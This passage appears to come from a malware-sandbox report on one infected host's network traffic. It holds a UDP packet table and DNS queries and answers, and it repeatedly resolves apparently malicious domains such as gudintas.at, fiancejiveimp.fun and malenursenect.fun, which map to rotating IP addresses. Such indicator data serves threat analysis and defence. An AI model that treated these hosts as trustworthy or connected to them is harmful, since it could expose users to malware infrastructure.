Oct 3, 2023 09:55:30.577316999 CEST	53	49311	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:30.943604946 CEST	60408	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:30.963993073 CEST	61900	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:31.049436092 CEST	53	60408	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:31.070185900 CEST	53	61900	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:31.585679054 CEST	55499	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:31.691574097 CEST	53	55499	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:32.255759001 CEST	65248	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:32.364126921 CEST	53	65248	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:32.848978996 CEST	52331	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:32.954849005 CEST	53	52331	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:33.324165106 CEST	53027	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:33.427095890 CEST	53	53027	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:33.686187029 CEST	65512	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:33.792503119 CEST	53	65512	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:33.890501022 CEST	57260	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:33.998126984 CEST	53	57260	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:34.441478968 CEST	63291	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:34.550575972 CEST	53	63291	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:34.982037067 CEST	53375	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:35.041070938 CEST	64040	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:35.090553045 CEST	53	53375	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:35.152399063 CEST	53	64040	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:35.527823925 CEST	53348	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:35.641345978 CEST	53	53348	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:36.003757000 CEST	54627	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:36.110250950 CEST	53	54627	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:37.483746052 CEST	60346	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:37.591631889 CEST	53	60346	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:38.912095070 CEST	53516	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:39.019612074 CEST	53	53516	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:41.133053064 CEST	61954	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:41.233681917 CEST	53	61954	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:41.333543062 CEST	65316	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:41.442833900 CEST	53	65316	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:44.423726082 CEST	52638	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:44.529648066 CEST	53	52638	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:45.015055895 CEST	51412	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:45.129997969 CEST	53	51412	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:48.309801102 CEST	54434	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:48.415349960 CEST	53	54434	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:48.901541948 CEST	58649	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:49.004322052 CEST	53	58649	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:49.583966017 CEST	55375	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:49.692514896 CEST	53	55375	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:50.046008110 CEST	51044	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:50.152053118 CEST	53	51044	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:50.600830078 CEST	64761	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:50.707289934 CEST	53	64761	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:51.168009996 CEST	49879	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:51.274168968 CEST	53	49879	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:51.749145985 CEST	61992	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:51.856251955 CEST	53	61992	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:52.654536963 CEST	59443	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:52.761389017 CEST	53	59443	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2023 09:54:19.376132011 CEST	192.168.2.3	8.8.8.8	0x5c53	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.231211901 CEST	192.168.2.3	8.8.8.8	0x6788	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.587459087 CEST	192.168.2.3	8.8.8.8	0x8f91	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.667918921 CEST	192.168.2.3	8.8.8.8	0x954e	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.400300980 CEST	192.168.2.3	8.8.8.8	0xcf32	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.528430939 CEST	192.168.2.3	8.8.8.8	0x4caa	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:28.586168051 CEST	192.168.2.3	8.8.8.8	0x4fda	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:29.721860886 CEST	192.168.2.3	8.8.8.8	0xef90	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.276496887 CEST	192.168.2.3	8.8.8.8	0x47f4	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.060362101 CEST	192.168.2.3	8.8.8.8	0x1ab0	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.121788025 CEST	192.168.2.3	8.8.8.8	0xdc05	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:06.696429014 CEST	192.168.2.3	8.8.8.8	0xc73a	Standard query (0)	h170811.srv22.test-hf.su	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.839030027 CEST	192.168.2.3	8.8.8.8	0x86ea	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:11.601315022 CEST	192.168.2.3	8.8.8.8	0x5411	Standard query (0)	fullppc.xyz	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:11.915206909 CEST	192.168.2.3	8.8.8.8	0x2437	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.172215939 CEST	192.168.2.3	8.8.8.8	0x48b1	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.494259119 CEST	192.168.2.3	8.8.8.8	0xc7b0	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:13.173104048 CEST	192.168.2.3	8.8.8.8	0xb72c	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:13.716542006 CEST	192.168.2.3	8.8.8.8	0xc99	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:14.398099899 CEST	192.168.2.3	8.8.8.8	0x90e	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:15.299715996 CEST	192.168.2.3	8.8.8.8	0xa73d	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:15.842964888 CEST	192.168.2.3	8.8.8.8	0xb6ee	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.801752090 CEST	192.168.2.3	8.8.8.8	0xad7c	Standard query (0)	gudintas.at	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:17.665730000 CEST	192.168.2.3	8.8.8.8	0x3754	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:18.070851088 CEST	192.168.2.3	8.8.8.8	0xeabb	Standard query (0)	farformafor.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:18.244374037 CEST	192.168.2.3	8.8.8.8	0xc1ac	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:18.805826902 CEST	192.168.2.3	8.8.8.8	0xe311	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:19.445000887 CEST	192.168.2.3	8.8.8.8	0x6f8b	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:19.567414045 CEST	192.168.2.3	8.8.8.8	0x3f9	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:19.992815018 CEST	192.168.2.3	8.8.8.8	0xd36e	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:20.239548922 CEST	192.168.2.3	8.8.8.8	0x1285	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:20.746543884 CEST	192.168.2.3	8.8.8.8	0x107c	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:21.289602995 CEST	192.168.2.3	8.8.8.8	0x4eb7	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:21.354202986 CEST	192.168.2.3	8.8.8.8	0xa47b	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:21.939672947 CEST	192.168.2.3	8.8.8.8	0x3d97	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:22.364249945 CEST	192.168.2.3	8.8.8.8	0x7f47	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:22.529767990 CEST	192.168.2.3	8.8.8.8	0x7a6d	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:22.903172970 CEST	192.168.2.3	8.8.8.8	0xf1cd	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.072477102 CEST	192.168.2.3	8.8.8.8	0xd23e	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.584959984 CEST	192.168.2.3	8.8.8.8	0x54c7	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.678723097 CEST	192.168.2.3	8.8.8.8	0xe13c	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.112777948 CEST	192.168.2.3	8.8.8.8	0xd596	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.237315893 CEST	192.168.2.3	8.8.8.8	0x3d5f	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.566416025 CEST	192.168.2.3	8.8.8.8	0x350	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.777072906 CEST	192.168.2.3	8.8.8.8	0xd66c	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:25.113428116 CEST	192.168.2.3	8.8.8.8	0xe1a4	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:25.595415115 CEST	192.168.2.3	8.8.8.8	0xd6fd	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:25.703486919 CEST	192.168.2.3	8.8.8.8	0xefdf	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:26.308640003 CEST	192.168.2.3	8.8.8.8	0x9f5c	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:26.610908031 CEST	192.168.2.3	8.8.8.8	0xb258	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:26.957942963 CEST	192.168.2.3	8.8.8.8	0x5389	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.155711889 CEST	192.168.2.3	8.8.8.8	0x89ba	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.498208046 CEST	192.168.2.3	8.8.8.8	0xf3f0	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.890290022 CEST	192.168.2.3	8.8.8.8	0x6204	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:28.092936993 CEST	192.168.2.3	8.8.8.8	0xc8c5	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:28.364608049 CEST	192.168.2.3	8.8.8.8	0x28c4	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:28.684962988 CEST	192.168.2.3	8.8.8.8	0xd304	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:28.903490067 CEST	192.168.2.3	8.8.8.8	0xeceb	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.286057949 CEST	192.168.2.3	8.8.8.8	0x2145	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.359997988 CEST	192.168.2.3	8.8.8.8	0x3aa6	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.873977900 CEST	192.168.2.3	8.8.8.8	0xa97c	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:30.468385935 CEST	192.168.2.3	8.8.8.8	0x803a	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:30.943604946 CEST	192.168.2.3	8.8.8.8	0xbef3	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:30.963993073 CEST	192.168.2.3	8.8.8.8	0xefd2	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:31.585679054 CEST	192.168.2.3	8.8.8.8	0x7e86	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:32.255759001 CEST	192.168.2.3	8.8.8.8	0xd0bd	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:32.848978996 CEST	192.168.2.3	8.8.8.8	0xf22f	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:33.324165106 CEST	192.168.2.3	8.8.8.8	0x33d2	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:33.686187029 CEST	192.168.2.3	8.8.8.8	0x2a6a	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:33.890501022 CEST	192.168.2.3	8.8.8.8	0xc479	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:34.441478968 CEST	192.168.2.3	8.8.8.8	0x77f9	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:34.982037067 CEST	192.168.2.3	8.8.8.8	0x81ae	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:35.041070938 CEST	192.168.2.3	8.8.8.8	0x29c9	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:35.527823925 CEST	192.168.2.3	8.8.8.8	0xc84e	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:36.003757000 CEST	192.168.2.3	8.8.8.8	0xc103	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:37.483746052 CEST	192.168.2.3	8.8.8.8	0xb02	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:38.912095070 CEST	192.168.2.3	8.8.8.8	0x87c3	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:41.133053064 CEST	192.168.2.3	8.8.8.8	0xc3	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:41.333543062 CEST	192.168.2.3	8.8.8.8	0x63fa	Standard query (0)	fiancejiveimp.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:44.423726082 CEST	192.168.2.3	8.8.8.8	0x4b90	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:45.015055895 CEST	192.168.2.3	8.8.8.8	0x4a1b	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:48.309801102 CEST	192.168.2.3	8.8.8.8	0xba7d	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:48.901541948 CEST	192.168.2.3	8.8.8.8	0xdb7d	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:49.583966017 CEST	192.168.2.3	8.8.8.8	0xfadb	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:50.046008110 CEST	192.168.2.3	8.8.8.8	0x3910	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:50.600830078 CEST	192.168.2.3	8.8.8.8	0x636a	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:51.168009996 CEST	192.168.2.3	8.8.8.8	0x94c9	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:51.749145985 CEST	192.168.2.3	8.8.8.8	0x80eb	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:52.654536963 CEST	192.168.2.3	8.8.8.8	0x9435	Standard query (0)	malenursenect.fun	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2023 09:54:19.807312965 CEST	8.8.8.8	192.168.2.3	0x5c53	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:19.807312965 CEST	8.8.8.8	192.168.2.3	0x5c53	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:19.807312965 CEST	8.8.8.8	192.168.2.3	0x5c53	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:19.807312965 CEST	8.8.8.8	192.168.2.3	0x5c53	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:19.807312965 CEST	8.8.8.8	192.168.2.3	0x5c53	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:19.807312965 CEST	8.8.8.8	192.168.2.3	0x5c53	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:19.807312965 CEST	8.8.8.8	192.168.2.3	0x5c53	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:19.807312965 CEST	8.8.8.8	192.168.2.3	0x5c53	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:19.807312965 CEST	8.8.8.8	192.168.2.3	0x5c53	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:19.807312965 CEST	8.8.8.8	192.168.2.3	0x5c53	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.617263079 CEST	8.8.8.8	192.168.2.3	0x6788	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.617263079 CEST	8.8.8.8	192.168.2.3	0x6788	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.617263079 CEST	8.8.8.8	192.168.2.3	0x6788	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.617263079 CEST	8.8.8.8	192.168.2.3	0x6788	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.617263079 CEST	8.8.8.8	192.168.2.3	0x6788	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.617263079 CEST	8.8.8.8	192.168.2.3	0x6788	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.617263079 CEST	8.8.8.8	192.168.2.3	0x6788	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.617263079 CEST	8.8.8.8	192.168.2.3	0x6788	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.617263079 CEST	8.8.8.8	192.168.2.3	0x6788	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:21.617263079 CEST	8.8.8.8	192.168.2.3	0x6788	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.693098068 CEST	8.8.8.8	192.168.2.3	0x8f91	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.693098068 CEST	8.8.8.8	192.168.2.3	0x8f91	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.693098068 CEST	8.8.8.8	192.168.2.3	0x8f91	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.693098068 CEST	8.8.8.8	192.168.2.3	0x8f91	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.693098068 CEST	8.8.8.8	192.168.2.3	0x8f91	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.693098068 CEST	8.8.8.8	192.168.2.3	0x8f91	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.693098068 CEST	8.8.8.8	192.168.2.3	0x8f91	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.693098068 CEST	8.8.8.8	192.168.2.3	0x8f91	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.693098068 CEST	8.8.8.8	192.168.2.3	0x8f91	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:22.693098068 CEST	8.8.8.8	192.168.2.3	0x8f91	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.906943083 CEST	8.8.8.8	192.168.2.3	0x954e	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.906943083 CEST	8.8.8.8	192.168.2.3	0x954e	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.906943083 CEST	8.8.8.8	192.168.2.3	0x954e	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.906943083 CEST	8.8.8.8	192.168.2.3	0x954e	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.906943083 CEST	8.8.8.8	192.168.2.3	0x954e	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.906943083 CEST	8.8.8.8	192.168.2.3	0x954e	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.906943083 CEST	8.8.8.8	192.168.2.3	0x954e	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.906943083 CEST	8.8.8.8	192.168.2.3	0x954e	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.906943083 CEST	8.8.8.8	192.168.2.3	0x954e	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:23.906943083 CEST	8.8.8.8	192.168.2.3	0x954e	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.506962061 CEST	8.8.8.8	192.168.2.3	0xcf32	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.506962061 CEST	8.8.8.8	192.168.2.3	0xcf32	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.506962061 CEST	8.8.8.8	192.168.2.3	0xcf32	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.506962061 CEST	8.8.8.8	192.168.2.3	0xcf32	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.506962061 CEST	8.8.8.8	192.168.2.3	0xcf32	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.506962061 CEST	8.8.8.8	192.168.2.3	0xcf32	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.506962061 CEST	8.8.8.8	192.168.2.3	0xcf32	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.506962061 CEST	8.8.8.8	192.168.2.3	0xcf32	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.506962061 CEST	8.8.8.8	192.168.2.3	0xcf32	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:25.506962061 CEST	8.8.8.8	192.168.2.3	0xcf32	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.634489059 CEST	8.8.8.8	192.168.2.3	0x4caa	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.634489059 CEST	8.8.8.8	192.168.2.3	0x4caa	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.634489059 CEST	8.8.8.8	192.168.2.3	0x4caa	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.634489059 CEST	8.8.8.8	192.168.2.3	0x4caa	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.634489059 CEST	8.8.8.8	192.168.2.3	0x4caa	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.634489059 CEST	8.8.8.8	192.168.2.3	0x4caa	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.634489059 CEST	8.8.8.8	192.168.2.3	0x4caa	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.634489059 CEST	8.8.8.8	192.168.2.3	0x4caa	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.634489059 CEST	8.8.8.8	192.168.2.3	0x4caa	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:26.634489059 CEST	8.8.8.8	192.168.2.3	0x4caa	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
